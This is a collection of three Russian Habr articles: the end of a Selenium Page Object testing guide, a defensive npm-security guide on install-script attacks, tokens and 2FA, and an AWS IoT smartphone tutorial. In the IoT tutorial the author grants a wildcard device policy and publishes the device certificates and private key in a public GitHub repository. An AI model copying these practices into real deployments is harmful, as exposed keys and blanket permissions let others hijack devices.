Также описываемый в данной статье подход предполагает, что каждый метод, по возможности, должен возвращать экземпляр странички, на которую он приведет. Например, клик по кнопке Логин переводит нас на главную страницу. Следовательно, метод клика по кнопке Логин, возвращает экземпляр класса, в котором описана главная страничка. Если же действия в методе не предполагают переход куда-либо, то он возвращает екземпляр класса странички, в котором расположен.
Это позволяет вести удобное обращение к методам странички —
```
loginPage.
TypeUserName(userName).
TypePassword(password).
ClickLoginButton();
```
Очевидно, что метод TypeUserName не приводит к переходу на какую-нибудь другую страницу, поэтому этот метод возвращает нам экземпляр страницы LoginPage(в котором сам и расположен). Тоже самое касается и метода — TypePassword. А вот метод ClickLoginButton производит переход на главную страницу, поэтому он будет возвращать экземпляр класса LandingPage. Если бы нам нужно было вызвать дальше какой-нибудь метод из главной страницы(LandingPage), то мы всего лишь поставили бы точку (.) и сразу получили бы доступ ко всем методам главной странички.
Вернемся к примеру. У нас есть две странички — страница, из которой мы Логинимся в систему и страница, на которую мы попадаем после Логина.
Создадим для них классы LoginPage и LandingPage.
На странице, с которой мы входим в систему, мы соверщаем 3 логически понятных действия (в рамках нашего теста) — заполняем поле с именем пользователя, заполняем поле с паролем и кликаем по кнопке войти.
На странице, куда мы попадаем, мы совершаем только одно действие (в рамках нашего теста) — мы убеждаемся, что имя пользователя отобразилось правильно в правом верхнем углу страницы.
```
public class LoginPage : TestFramework
{
[FindsBy(How = How.XPath, Using = USER_NAME_TEXT_FIELD)]
public IWebElement userNameTextField;
[FindsBy(How = How.XPath, Using = PASSWORD_TEXT_FIELD)]
public IWebElement passwordTextField;
[FindsBy(How = How.XPath, Using = LOGIN_BUTTON)]
public IWebElement loginButton;
public static LoginPage GetLoginPage(){...}
public LoginPage TypeUserName(string userName){...}
public LoginPage TypePassword(string password){...}
public LandingPage ClickLoginButton(){...}
public const string USER_NAME_TEXT_FIELD = "//input[@id='email']";
public const string PASSWORD_TEXT_FIELD = "//input[@id='pass']";
public const string LOGIN_BUTTON = "//label[@id='loginbutton']/input";
}
```
В приведенном выше примере есть метод GetLoginPage(). Он возвращает экземпляр класса данной странички с проинициализированными элементами.
Также хотелось бы выделить некоторое удобство использования наследования у страничек. Например в большинстве веб-приложений верхняя часть (Header) отображается на всех страничках. В таком случае очень удобно описать Header в отдельном классе, а все остальные странички сделать наследниками этого класса. Тогда методы Header-а будут доступны с любой странички.
Еще наследование можно использовать тогда, когда клик по какому-нибудь чекбоксу приводит к появлению целой формы. Исходя из пинципа максмального доробления, такую форму лучше вынести в отдельный класс. Но при этом все элементы самой странички остались видны. Здесь целесообразно сделать форму наследником странички, чтобы элементы и методы странички были ей доступны.
Я часто видел, что проекты строятся без прослойки с классами-Helpers. Тесты напрямую обращались к методам страничек.
Такой подход имеет следующий недостаток. В любом проекте по автоматизации нужны методы, которые объеденяют в себя элементарные действия нескольких страничек. В нашем примере есть метод, DoLogin(). Я не до конца описал его. Если бы я написал его правильно, то в начале нужно было бы убедиться, что никто не залогинен, выйти, если залогинен и перейти на страницу, с которой входим. Далее шел бы наш метод и, после его окончания, нужно было бы убедиться, что главная страница загрузилась. Я не реализовывал это для простоты передачи основ описываемого подхода.
Но, если бы мы положили этот метод в класс странички LoginPage(как в проектах без прослойки с классами-Helpers), то мы бы потеряли эту четкую границу между логическими модулями. Ведь начинается и заканчивается процедура входа в систему не на страничке для входа.
А вот представтье себе ситуацию, когда вам нужны еще методы проверки валидации полей для входа в систему. В таком случае, класс LoginPage обрастет еще кучей методов, которые будут нужны только классу LoginTests.
Такое избыточное количество сложных методов в классе-страничке, с одной стороны, затруднят поиск элементарных методов, а с другой стороны, делают размытой грань между логическими модулями.
Но создание классов-Helpers имеет один подводный камень. Что делать с методами, которые используются в 1 класс-тесте понятно – они будут лежать в классами-Helper этого теста. Но что делать с другими сложными методами, которые могут быть использованы и другими классами-тестами?
Здесь я поступаю следующим образом – выделяю отдельные классы со сложными методами (т.е. методы, которые используют несколько элементарных методов из одного или нескольких классов-страничек.), давайте назовем их классы-Utils. Названия будут иметь вид типа NavigationUtils. Из названия класса понятно, что в нем находятся методы по навигации в приложении. Или LoginUtils – методы по логину, которые могут быть использованы другими классами, помимо класса с тестами по входу в систему. Если вам нужно создавать какой-то контент в приложении для осуществления разных тестов, то вы можете создать класс ContentUtils.
Мое правило простое — если этот метод из одного классами-Helper понадобился еще какому-нибудь классу с тестами или классами-Helper, то это метод мигрирует в соответствующий класс-Utils. Если такой класс-Utils еще не был создан, то я создаю его.
Такой подход несколько усложнит проект дополнительной прослойкой, но он поставит четкую грань между логическими модулями. Потому что в классах-страничках будут расположены только самые элементарные методы, которые могут быть выполнены только на этой страничке.
#### Еще немного про обслуживание.
В проектах, где я участвовал, львиная доля изменений в приложении от билда к билду приходилось на локаторы. Еще небольшая доля приходилась на способы воздействия на элементы (например то, что раньше отрабатывалось обычной командой Click(), после выхода нового билда уже требовало серию команд из MouseMove(), MouseDown и MouseUp()). В таких случаях все поддержка сводится к изменению классов-страничек. А, это, как вы видите, самые переиспользуемые классы. Следовательно и усилия на поддержку минимальны.
Бывают случаи, когда в новом билде поменялаясь какая-то логическая цепочка действий, например, ссылка для навигации к какой-нибудь сущности в приложении перенесена из одного меню в другое. Тогда поддержка уже затронет классы-Helpers и классы-Utils.
И крайне редко, когда меняется логика самого теста, вам нужно будет поддерживать классы с тестами.
#### Идеальная структура.
Для себя я вывел идеальную структуру такого проекта, но, признаюсь, следовать ей не получалось, получалось только к ней стремиться.
Это набор простых правил:
1. Классы с тестами используют только классы-Helpers и классы-Utils. Не используют классы-странички, а, тем более методы фреймворка, которые работают с Selenium и Webdriver. Остальные методы фреймворка использовать можно.
2. Классы-Helpers используют только классы-странички и классы-Utils. Не используют методы фреймворка, которые работают с Selenium и Webdriver. Остальные методы фреймворка использовать можно.
3. Классы-Utils используют только классы-странички. Не используют классы-Helpers и методы фреймворка, которые работают с Selenium и Webdriver. Остальные методы фреймворка использовать можно.
4. Классы-странички используют только методы фреймворка. Не используют методы Selenium и Webdriver напрямую.
Соблюдение таких правил изначально, думаю, поможет избежать болезненных проблем с проектом в будущем и сделает поддержку максимально легкой.
С моей точки зрения, очень многие существующие проекты могли бы быть переделаны в соответствии со описанным подходом. Я сам имел такой опыт. И, скажу вам, такой переход вскрыл огромное количество дублированного кода.
Те, кто бывал в больших проектах по автоматизации тестирования, понимают, что без порядка там просто не выжить. Поэтому, если вы все еще не слышали/думали/пробовали это, то я вам рекомендую все-таки попробовать. | https://habr.com/ru/post/155109/ | null | ru | null |
# Безопасность npm-проектов, часть 1
Всем привет! В [прошлом посте](https://habr.com/ru/company/domclick/blog/515848/) мы начали рассматривать важный вопрос о безопасности в npm и поговорили о том, какие меры использует сама компания для выявления и предотвращения угроз. В этот раз я хочу поговорить об инструментах и подходах, доступных лично вам, и которые я настоятельно рекомендую внедрить в свою практику всем разработчикам.
Скрипты установки
=================
Команда `npm install` поддерживает [ряд скриптов](https://docs.npmjs.com/misc/scripts) (например: `preinstall`, `install`/`postinstall`), которые могут выполняться в процессе установки пакета. При этом содержимое таких скриптов ничем не ограничивается и выполняется от лица пользователя, выполняющего установку. Такие скрипты являются одним из основных способов для злоумышленников влезть в компьютер, на котором устанавливается вредоносный пакет, и похитить важную информацию.
Пример пакета, содержащего вредоносный скрипт:
Если пользователь выполнит команду установки пакета из примера выше: `npm install malicious-package`, то это приведет к выполнению скрипта *evil.sh*, который потенциально может совершить любые действия от лица текущего unix-пользователя.
> Возможно, вы слышали, что в середине 2018 года произошел [громкий инцидент](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes) с пакетами `eslint-scope` и `eslint-config-eslint`, когда злоумышленник смог получить к ним доступ и опубликовать новую версию пакетов, содержащую вредоносный код в скриптах установки.
>
>
>
> Таким образом, пользователи, которые устанавливали один из этих пакетов, незаметно для себя отправляли собственные токены аутентификации злоумышленнику, который мог использовать их в дальнейшем для получения доступа к закрытому коду и информации, а также для дальнейшего распространения вируса.
>
>
>
> Чтобы изолировать проблему, команде npm [пришлось отозвать](https://status.npmjs.org/incidents/dn7c1fgrr7ng) все токены npm, которые были сгенерированы до даты начала атаки. Это привело к тому, что npm registry начал испытывать проблемы с доступностью, потому что пользователи начали массово перевыпускать токены, не говоря о том, что это нарушило работу огромного количества автоматизированных конвейеров, которые обращались к npm с использованием токенов.
>
>
>
> Интересно, что [код злоумышленника](https://gist.github.com/hzoo/51cb84afdc50b14bffa6c6dc49826b3e) был написан не очень грамотно, поэтому он не всегда корректно выполнялся, к счастью, это ограничило эффективность атаки. Если бы злоумышленник имел более высокую квалификацию и написал бы полноценный вирус, работающий в полностью автоматическом режиме, то масштаб атаки и последствия могли бы быть намного существеннее.
Слава богу, в настоящее время npm на своей стороне выполняет статический и поведенческий [анализ всех пакетов](https://habr.com/ru/company/domclick/blog/515848/#skanirovanie-paketov), публикуемых в npm с целью выявления подобных атак, что должно существенно ограничивать эту угрозу. Однако не стоит полностью списывать ее со счетов.
Если у вас есть существенные причины не доверять устанавливаемому пакету, то вы можете запретить выполнение скриптов установки при помощи следующей команды:
```
npm install suspicious-package --ignore-scripts
```
Также, вы можете полностью запретить выполнение скриптов установки при помощи следующей команды (или добавить настройку в `.npmrc`):
```
npm config set ignore-scripts true
```
Но учтите, что некоторые пакеты используют скрипты установки для собственной инициализации и не будут корректно работать при установке с запретом на запуск скриптов. Такую практику стоит использовать только в том случае, если у вас есть очень серьезные на то причины.
Ограничение среды выполнения
============================
Чтобы дополнительно обезопасить себя от подобных атак, постарайтесь максимально ограничить среду, в которой выполняются команды npm, такие как `npm install`. Как вариант, их можно выполнять внутри Docker-контейнера, на виртуальной машине или в любой другой песочнице с ограниченным доступом. Разумеется, никогда не стоит запускать npm от лица root-пользователя; наоборот, лучше запускать эти команды от лица пользователя с минимальным доступом и набором прав. Антивирусы и брандмауэры также могут сократить риски. Принцип прост: чем меньше полномочий получит процесс npm, тем безопаснее будет его работа.
Также полезно будет настроить систему предупреждений: если вдруг процесс начнет совершать какие-то подозрительные действия, то вам следует об этом знать. Выявление угрозы безопасности поможет не только вам и вашей команде или компании, но и всему сообществу в целом. Поэтому не забудьте составить и отправить отчет о найденной уязвимости в npm.
Безопасность токенов и ключей
=============================
Первое правило при работе с ключами доступа и токенами: никогда не храните их в открытом доступе, если этого можно избежать. К примеру, не стоит хранить токен npm в файле `.npmrc` на вашей машине, если можно аутентифицировать в интерактивном режиме.
Если вам всё же необходимо использовать токен аутентификации npm в каком-то автоматическом конвейере (например, для CI/CD), то ограничьте его полномочия. Например, если токен нужен только для установки пакетов из приватного репозитория, то создавайте его в режиме read-only, чтобы в случае его утечки злоумышленник не мог отправить вредоносный код в ваш репозиторий. Это позволит ограничить масштаб угрозы.
Также хорошей практикой является привязка токена аутентификации npm к определенному диапазону IP-адресов (CIDR). Закажите себе статический IP (или серию IP) и привяжите его к своему серверу. Как правило, любой облачный провайдер позволяет это сделать, даже если ваш сервер запускается по запросу (on-demand). Таким образом, если злоумышленник сможет украсть токен, то он не сможет использовать его с другой машины.
Не размещайте токен аутентификации в файле `.npmrc`, и тем более не добавляйте его в систему контроля версий (Git). Вместо этого используйте переменную окружения `NPM_TOKEN` в связке со специальным защищенным хранилищем для токенов (изучите документацию вашего провайдера).
Сгенерировать новый токен можно при помощи команды [`npm token create`](https://docs.npmjs.com/cli/token), которая опционально принимает следующие аргументы:
* `--read-only` — создаёт токен, который позволяет только считывать данные из репозитория (т. е. устанавливать пакеты, но не публиковать их);
* `--cidr=` — создаёт токен, который позволяет аутентифицироваться только хостам в указанном диапазоне IP. Рекомендую использовать [калькулятор CIDR](https://www.ipaddressguide.com/cidr), чтобы быть уверенными в корректности задания диапазона IP. Пример: `--cidr=192.0.2.0/24`.
Также рекомендуется регулярно проводить аудит всех токенов, привязанных к npm-аккаунту, и отзывать ненужные. Посмотреть список всех токенов можно в личном кабинете на [сайте npm](https://www.npmjs.com/), либо при помощи команды `npm token list`.
Учтите, что аутентификация при помощи команды [`npm adduser`](https://docs.npmjs.com/cli/adduser) приравнивается к созданию токена и сохранению его в файле `.npmrc` в домашней директории пользователя. Удаление же токена приведет к разлогиниванию пользователя.
Аутентификация в файле `~/.npmrc` выглядит следующим образом:
```
//registry.npmjs.org/:_authToken=00000000-0000-0000-0000-000000000000
```
Если вы используете различные независимые npm registry, то таких строк может быть несколько.
> Убедитесь, что содержимое файла `~/.npmrc` доступно только вашему unix-пользователю!
Что касается закрытых ключей шифрования (например, для SSH), то убедитесь, что они защищены сильным паролем и используют надежный алгоритм шифрования. В случае компрометации такого ключа злоумышленник не сможет им воспользоваться, т. к. не знает пароль, а методы математического взлома окажутся неэффективными. В случае с SSH, в настоящее время алгоритм `EdDSA` [считается](https://security.stackexchange.com/a/46781/124787) наиболее надежным. Однако стоит учесть, что старые системы могут его не поддерживать. Тогда используйте два ключа: `Ed25519` (`EdDSA`) для всех совместимых систем и `RSA` (с минимум 2048 битным ключом) для устаревших систем.
Очепятки
========
Одним из старейших приемов в рукаве злоумышленников является использование названий, похожих на оригинальные, но отличающихся одним или несколькими символами. Пользователи часто совершают опечатки при вводе тех или иных названий. Особенно это критично при вызове команды, например, `npm install packae-name`: в лучшем случае это приведет к ошибке 404, а в худшем — может вызвать вредоносный код.
Команда npm старается автоматически вычислять попытки подобного подлога и блокировать пакеты, которые выдают себя за другие. Вам же, как пользователю, следует просто внимательнее относиться к вводу названий пакетов с клавиатуры, по возможности пользуйтесь функцией copy-and-paste.
Безопасные пароли
=================
Про правила использования безопасных паролей сказано уже очень много, не вижу смысла повторяться, однако отмечу основные моменты:
* используйте уникальные длинные пароли с буквами в разном регистре, цифрами и спец. символами (16 символов будет достаточно);
* не используйте один и тот же пароль более чем в одном месте. Для каждого ресурса создавайте новый пароль;
* храните пароли только в защищенном месте и передавайте только по зашифрованному соединению;
* у каждого пользователя должен быть свой именной логин и пароль, не используйте одни и те же реквизиты более чем для одного человека.
Для решения всех вышеописанных вопросов стоит использовать специальное ПО: менеджер паролей. Я использую открытый [KeePass](https://keepass.info/) (есть версии практически для любой платформы). Базу данных паролей стоит защитить сложным мастер-паролем, который вам необходимо запомнить. Дополнительно можно использовать файл-ключ, который хранится, например, на флешке. Сам же файл базы данных можно положить в любое облачное хранилище (Яндекс.Диск, Google Drive или DropBox), чтобы иметь к нему синхронизированный доступ сразу со всех устройств.
> Мой коллега недавно [перевел статью](https://habr.com/ru/company/domclick/blog/515064/), в которой подробнее разбирается вопрос оптимальной длины пароля, рекомендую ознакомиться!
Мультифакторная аутентификация (MFA)
====================================
Механизмы мультифакторной аутентификации значительно повышают безопасность вашей учетной записи, т. к. создают дополнительный барьер на пути злоумышленников: даже если кому-то удастся взломать или перехватить ваш пароль, то обойти дополнительный фактор будет гораздо сложнее. При этом стоит обратить внимание именно на [использование программ-аутентификаторов](https://www.kaspersky.com/blog/2fa-practical-guide/24219/) и не использовать SMS-сообщения в качестве доп. фактора, т. к. их гораздо проще перехватить.
К счастью, npm также [поддерживает](https://docs.npmjs.com/about-two-factor-authentication) двухфакторную аутентификацию при помощи программ-аутентификаторов. Она работает в двух режимах: «только аутентификация» или «аутентификация и запись». Лучше всего использовать режим «аутентификация и запись», т. к. это гарантирует самый высокий уровень безопасности, потому что npm будет просить вас ввести токен OTP не только при вызове команды `npm adduser`, но и при любой попытке записать что-то в реестр (например, при вызове `npm publish`).
О том, как включить npm 2FA, написано подробно в [официальной документации](https://docs.npmjs.com/configuring-two-factor-authentication). Процесс в целом ничем не отличается от стандартного: вам нужно выбрать режим работы, а затем просканировать QR-код, который будет показан на экране при помощи выбранной вами программы-аутентификатора. Сделать это можно как через личный кабинет на официальном сайте, так и через CLI при помощи команд:
* `npm profile enable-2fa auth-and-writes`
— режим «аутентификация и запись» (рекомендуется)
* `npm profile enable-2fa auth-only`
— режим «только аутентификация»
При использовании CLI npm попросит вас ввести пароль от аккаунта (даже если вы уже аутентифицированы), а затем покажет QR-код. После сканирования кода нужно ввести одноразовый пароль (OTP), который покажет приложение на устройстве, чтобы подтвердить успешность процедуры.
При привязке аутентификатора npm также выдаст вам набор одноразовых кодов восстановления, их необходимо сохранить в надежном месте, на случай, если придется восстанавливать доступ к аккаунту при утере аутентификатора.
Если утеря всё же произошла, вы можете ввести неиспользованный ранее код восстановления вместо одноразового пароля при аутентификации, а затем сбросить 2FA командой `npm profile disable-2fa`, введя затем еще один код восстановления. Если же вы потеряли и аутентификатор, и коды восстановления, то вам придется обратиться в службу поддержки npm (надеюсь, они защищены от социальной инженерии).
Ограничение публикуемых файлов
==============================
По умолчанию, когда вы выполняете команду `npm publish`, npm собирает в архив **все файлы в директории пакета** за исключением некоторых.
**Полный список файлов, которые npm никогда не добавляет в архив пакета**
* `.git`
* `CVS`
* `.svn`
* `.hg`
* `.lock-wscript`
* `.wafpickle-N`
* `.*.swp`
* `.DS_Store`
* `._*`
* `npm-debug.log`
* `.npmrc`
* `node_modules`
* `config.gypi`
* `*.orig`
* `package-lock.json`
Часто из-за этого в registry утекают файлы, которые не должны быть опубликованы, например, файлы с паролями. Это серьезная угроза безопасности. Если вы случайно отправили в реестр npm какие-то чувствительные файлы, то вам придется не только удалить архив пакета из реестра, но и полностью заменить все скомпрометированные данные.
А чтобы обезопасить себя от подобных утечек, я рекомендую всегда использовать поле [`files`](https://docs.npmjs.com/files/package.json#files) в файле `package.json`. Оно представляет собой массив, содержащий перечисление файлов (можно использовать шаблоны glob), которые должны попасть в архив собранного пакета. Такой явный подход гарантирует, что в публичный доступ случайно не утекут какие-то нежелательные файлы.
Нужно заметить, что следующие файлы всегда попадают в архив, даже если не перечислены в массиве `files`:
* `package.json`
* `README`
* `CHANGES`, `CHANGELOG`, `HISTORY`
* `LICENSE`, `LICENCE`
* `NOTICE`
* Файл, указанный в поле `main`
При этом файлы `README`, `CHANGES`, `LICENSE` и `NOTICE` могут иметь любой регистр символов в названии и расширение.
По этой причине важно, чтобы перечисленные выше файлы никогда не содержали чувствительной информации.
Чтобы проверить, что же попадет в архив при запуске команды `npm publish`, можно использовать флаг `--dry-run` либо команду `npm pack --dry-run`. Вторая команда, в отличие от первой, пропустит скрипты препаблишинга и сразу попытается собрать архив. Аргумент `--dry-run` гарантирует, что изменения будут произведены в тестовом режиме только на вашей машине, пакет не будет никуда отправляться, и архив не будет реально создан в файловой системе.
Продолжение следует
===================
В этом посте мы начали рассматривать инструменты и подходы, которыми каждый из нас может пользоваться, чтобы повысить безопасность своего npm-проекта. Я настоятельно рекомендую всегда иметь эти аспекты в виду и внедрить описанные инструменты у себя — в наше сложное время дополнительные меры защиты никогда не будут лишними.
В [следующем посте](https://habr.com/ru/company/domclick/blog/518502/) я хочу снова вернуться к вопросам безопасности и рассмотреть остальные инструменты, о которых я не успел упомянуть сегодня.
---
Если вам понравился материал, то, пожалуйста, ставьте лайки, подписывайтесь на наш блог и делитесь ссылками с коллегами. Так мы будем понимать, что наша работа востребована и продолжим радовать вас новыми полезными материалами.
Если же у вас есть вопросы или желание что-то добавить по теме, то не стесняйтесь оставлять комментарии, я с радостью приму участие в обсуждении и учту ваши пожелания в следующих постах.
*Все изображения в статье являются собственностью своих авторов или законных правообладателей и используются исключительно в некоммерческих образовательных целях.* | https://habr.com/ru/post/516792/ | null | ru | null |
# Что нам стоит IoT построить? Свой IoT на Amazon за один день
Начать разбираться с IoT (Internet of Things) платформами меня останавливало отсутствие IoT устройства, которое было бы совместимо по протоколам и способам доступа. Но когда я понял, что в качестве устройства можно использовать обыкновенный смартфон, то реализация работающей цепочки заняла один день.
Возьмем смартфон, который будет эмулировать IoT устройство c датчиками температуры, влажности и давления и отсылать показания на Amazon IoT платформу. На платформе заведем правило, которое при поступлении данных от нашего устройства будет вызывать сервис нотификаций, который в свою очередь будет отсылать e-mail с полученными данными.
Такая система, конечно, несет мало практической ценности, но позволяет разобраться, как все устроено:
Почему именно IoT платформа от Amazon? И зачем вообще нужно понимать, как работают IoT платформы?
M2M – IoT — IoE
---------------
В мире становится всё больше IoT устройств, об этом говорят, как аналитические агентства, так и мировая статистика.
Мы и сами прекрасно видим, что все больше систем подключаются к интернету и управляются автоматически или людьми: умные дома, автомобили, носимые устройства. И сейчас уже говорят не просто об IoT, а о IoE (Internet of Everything), т.к. устройства которые подключаются к платформам используются не только в промышленных системах, но и людьми.
Поэтому нужно самим разбираться в принципах работы, хотя бы для того, чтобы понимать, как можно эффективно использовать свои устройства или какие есть ограничения и нюансы с безопасностью.
Почему Amazon?
--------------
Amazon создает сервисы с учетом мировых трендов и в результате получаются “универсальные” системы, основные принципы которых используют все производители. У облачной платформы есть еще больший плюс – это возможность самостоятельно развернуть систему за пару часов, не привлекая корпоративную IT службу и безопасность)
Почему смартфон, а не какой-нибудь IoT Starter Kit?
---------------------------------------------------
При внимательном рассмотрении смартфон хорошо эмулирует IoT устройство:
* В нём есть Linux, на котором можно запускать приложения;
* Есть мобильная связь с Интернет;
* С помощью программных средств можно эмулировать показания датчиков.
Т.е. работа с настоящим IoT устройством ничем не будет отличаться от работы со смартфоном, кроме использования специфичного SDK для получения показаний датчиков. Всё остальные коммуникации будут аналогичны.
Позвольте мне пропустить раздел со стандартами, аналитикой и маркетинговыми исследованиями – в конце статьи приведу несколько актуальных ссылок. Не терпится сделать что-нибудь интересное)
AWS IoT платформа
-----------------
Amazon рисует достаточно наглядную схему своей платформы:
Тут в общем все понятно:
* (1) Есть устройства, которые взаимодействуют с IoT платформой с помощью SDK.
* (2) Устройства посылают сообщения, которые проверяются службой аутентификации и авторизации.
* (3) Сообщения приходят на Device Gateway, используя разные протоколы и далее попадают в обработчик правил (4.1) и копируются (4.2) на тени устройств (Device Shadows).
* (4.2) Device Shadows – это такие цифровые двойники, которые хранят текущие состояния устройств, которые всегда доступны приложениям. С другой стороны, при отсутствии связи с устройством Device Shadow выполняет управляющие команды от приложений и при восстановлении коннективности синхронизирует актуальное состояние с устройством.
* (4.1) Обработчик правил в зависимости от поступивших данных выполняет заранее определенные действия (5.1), например, сохраняет данные в DB, посылает SMS или e-mail нотификацию, вызывает HTTP API, отправляет данные в систему аналитики и т.п.
* (5.2) Приложения используют эти данные для контроля и управления устройствами с помощью AWS API (6)
* Информация о всех устройствах хранится на AWS IoT платформе (7).
Начинаем разбираться, схема немного усложняется:
Появляются:
**Jobs** – выполняют стандартные действия над устройствами, например устанавливают приложения, обновляют прошивки, производят перезагрузку устройств и т.п.
**Topics** – сущности MQTT протокола. Сообщения от IoT устройств посылаются в определенные топики.
**IAM Roles** – AWS пользователи, от имени которых выполняются правила и которые имеют доступ к необходимым AWS ресурсам.
**Правила** состоят из:
* Filter — фильтр сообщений для обработки. Задается в виде SQL запроса.
* Action — действие, которое надо выполнить.
* Role — одна или несколько IAM ролей.
**Certificate** – загружаются на IoT устройство, с их помощью происходит аутентификация устройств на AWS платформе. Состоят из:
* Cертификат устройства X.509
* Private key
* Корневой сертификат AWS платформы
**Policy** – к сертификатам прикрепляются политики, которые определяет какие действия можно совершать устройству. С помощью политик происходит авторизация устройств.
Детализируются **AWS сервисы**, на которые поступает информация с IoT платформы: Аналитика, DB, сервис нотификаций SNS.
Подключаем устройство
---------------------
Я не буду полностью приводить инструкцию по подключению IoT устройства к Amazon платформе: [Getting Started with AWS IoT](https://docs.aws.amazon.com/iot/latest/developerguide/iot-gs.html). Но для понимания объёма задачи перечислю шаги, которые нужно сделать, чтобы схема заработала:
* Создаем на платформе устройство my-iot-dev
* Получаем сертификат устройства X.509, private key, public key
* Получаем корневой сертификат AWS платформы (Root CA for AWS IoT)
* Создаем политику my-iot-dev-policy. Для нашей демы разрешаем все действия: iot:\*
* Прикрепляем политику к сертификату
* Прикрепляем сертификат к устройству
* В результате получили сертификат с устройством и политикой:
* Создаем правило. Правило будет вызывать сервис нотификаций AWS SNS (Simple Notification Service) для отправки e-mail. Поэтому сначала надо создать топик в AWS SNS (my-iot-dev-sns-topic):
* Теперь конфигурируем, что именно данный топик будет делать при получении данных. Для этого создаем подписку на топик (Subscribe to the Amazon SNS topic), вводим целевой e-mail адрес, дожидаемся проверочного письма, подтверждаем e-mail.
Теперь создаем само правило (my\_iot\_dev\_rule), которое будет вызывать созданный топик:
* **Filter:** SELECT \* FROM ‘my/dev-topic’ — фильтр срабатывает при получении любого сообщения в топике с именем ‘my/dev-topic’;
* **Action:** посылка сообщения в созданный заранее SNS топик “arn:aws:sns:eu-central-1:1219xxx34064:my-iot-dev-sns-topic”;
* **IAM role:** создаем роль my-dev-role с доступом к SNS топикам.
* Все логические сущности для нашего устройства созданы. Теперь можно протестировать, что теоретически схема работает. Для этого в AWS есть тестовое средство, позволяющее отправлять и получать сообщения аналогично реальным устройствам. Запускаем его, подписываемся на topic (my/dev-topic) и посылаем “Hello World!” сообщение:
* Проверяем, что пришел e-mail с сообщением “Hello World!” и делаем вывод, что схема работает.
Конфигурация смартфона
----------------------
Настало время конфигурации IoT устройства, в роли которого будет выступать мой смартфон. Для этого используем [инструкцию AWS SDK JavaScript](https://docs.aws.amazon.com/iot/latest/developerguide/sdk-tutorials.html). Чтобы превратить смартфон в IoT устройство надо:
* Скопировать на устройство: private key, X.509 и “Root CA for AWS” сертификаты;
* Установить Node.js и npm package manager;
* Установить AWS SDK;
* Установить и запустить тестовую программу.
В нашем случае все будет немного проще, т.к. сертификаты, AWS SDK и тестовую программу я положил на GitHub и можно просто клонировать [репозиторий IoT-Sensors](https://github.com/AlexeySushkov/IoT-Sensors). Если кто-нибудь захочет использовать мою тестовую программу, то в каталог /IoT/certs надо будет положить свои сертификаты и в файле /server/src/services/IoT-AOI-Server прописать актуальный для устройства Rest API Endpoint:
```
device = deviceModule({
…
host: 'a2lqo1xxx4zydi-ats.iot.eu-central-1.amazonaws.com',
…
})
```
Rest API Endpoint берется из настроек устройства:
Если хочется попробовать что-то стандартное, то можно использовать тестовые программы из поставки AWS SDK.
Android — он тот же Linux, но со своими ограничениями, поэтому для запуска JS приложений надо установить специальный терминал, [например, Termux](https://play.google.com/store/apps/details?id=com.termux).
Для начального освоения Termux есть ряд статей, например: [Запуск NodeJS-приложения на Android](https://habr.com/ru/post/301442). Но по большому счету после установки Termux нужно выполнить всего лишь несколько магических команд:
```
git clone https://github.com/AlexeySushkov/IoT-Sensors.git
```
### Установка сервера
```
cd ~/IoT-Sensors/server
npm install
npm start
```
Если все прошло успешно, в терминале появится строка:
Server started on port: 8081
Вживую это выглядит так:
### Установка клиента
```
cd ~/IoT-Sensors/client
npm install
npm run serve
```
Если все прошло успешно, в терминале появится строка:
App running at port: 8080
Далее в браузере смартфона вводим: <http://localhost:8080>
И на экране появится тестовое приложение:
Нажимаем кнопку “INIT DEV”. При этом происходит аутентификация и авторизация IoT устройства на AWS IoT платформе. При успешном выполнении статус становится “Init OK”.
Далее вводим значения показаний датчиков температуры, влажности и давления, например:
Temperature: 23
Humidity: 65
Pressure: 787
И нажимаем кнопку “SEND DATA”.
После этого приложение добавляет метку времени и посылает данные в виде MQTT сообщения в топик “my/dev-topic”. IoT платформа получает сообщение и активирует правило, которое посылает сообщение в сервис нотификаций AWS SNS, который посылает e-mail с полученными данными в JSON формате:
```
{"time":"Mon, 30 Sep 2019 13:54:52 GMT", "temperature":"23", "humidity":"65", "pressure":"787"}
```
Если сообщение послано успешно, то статус меняется на: “publish OK” и на почту приходит e-mail:
В AWS IoT платформе есть система мониторинга, которая показывает число соединений и сообщений от IoT устройств, статистику по протоколам, типам сообщений и т.п.:
Итак, теперь все работает по-настоящему!
Заключение
----------
Мы построили маленький, но настоящий IoT, используя платформу от Amazon. Все платформы построены по одинаковым принципам, поэтому если встанет вопрос выбора IoT системы, то мы будем готовы задать следующие вопросы. И дальше, зная ответы от Amazon, сможем сделать выводы, насколько зрелая предлагается платформа:
**Устройства**
* Как устройства добавляются в системе?
* Как обеспечивается аутентификация и авторизация устройств?
* Происходит ли шифрование отправляемых на платформу данных?
**Платформа**
* Как защищены ключи и сертификаты на платформе?
* Как формируются правила?
* Какие действия могут выполнять правила?
* Как осуществляется мониторинг и управление устройствами?
* Есть ли тени (цифровые двойники) устройств на платформе?
* Какие отчеты и аналитика доступны?
**Взаимодействие**
* Какие протоколы для подключения устройств используются?
* Как осуществляется взаимодействие приложений с устройством?
* Как осуществляется тестирование логики взаимодействия?
Как и обещал, приведу несколько актуальных ссылок на стандарты и аналитику:
Стандарты IoT
-------------
Как ни удивительно, но гиганты стандартизации ([ISO/IEC](https://www.iso.org), [IEEE](http://grouper.ieee.org/groups/2413), [ITU-T](https://www.itu.int/en/ITU-T/Pages/default.aspx)) потеряли интерес к IoT после 2016 года. Они, конечно, что-то делают, но как-то без огонька). NIST тоже выпустил свое исследование [Networks of ‘Things’](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-183.pdf), но после 2016 больше ничего интересного.
Лучше выглядят телекоммуникационные институты, что не удивительно, т.к. без коннективности IoT — это не IoT. TM-Forum под своим зонтиком собирает кейсы и проекты [IoE & Digital Ecosystems](https://www.tmforum.org/ioe), ETSI поступил проще и вступил в [OneM2M](http://www.onem2m.org).
И вот мы подходим к двум организациям, которые образовались относительно недавно, но уже определяют мировое направление развитие IoT:
**OneM2M**
OneM2M – это [объединение организаций](http://www.onem2m.org/membership/current-members) по стандартизации, телекоммуникационных компаний и производителей разных стран. У них в открытом доступе десятки актуальных документов, которые греют душу [архитектурными моделями и функциональными схемами](http://www.onem2m.org/technical/published-drafts/release-3).
**IIC**
IIC (Industrial Internet Consortium) — организация по стандартизации индустриального интернета вещей — это, в основном, [производители софта и устройств](https://www.iiconsortium.org/members.htm). Они также выпускают свои [эталонные архитектуры.](https://www.iiconsortium.org/IIRA.htm) В общем, есть где посмотреть на идеальный мир! )
Аналитика по IoT
----------------
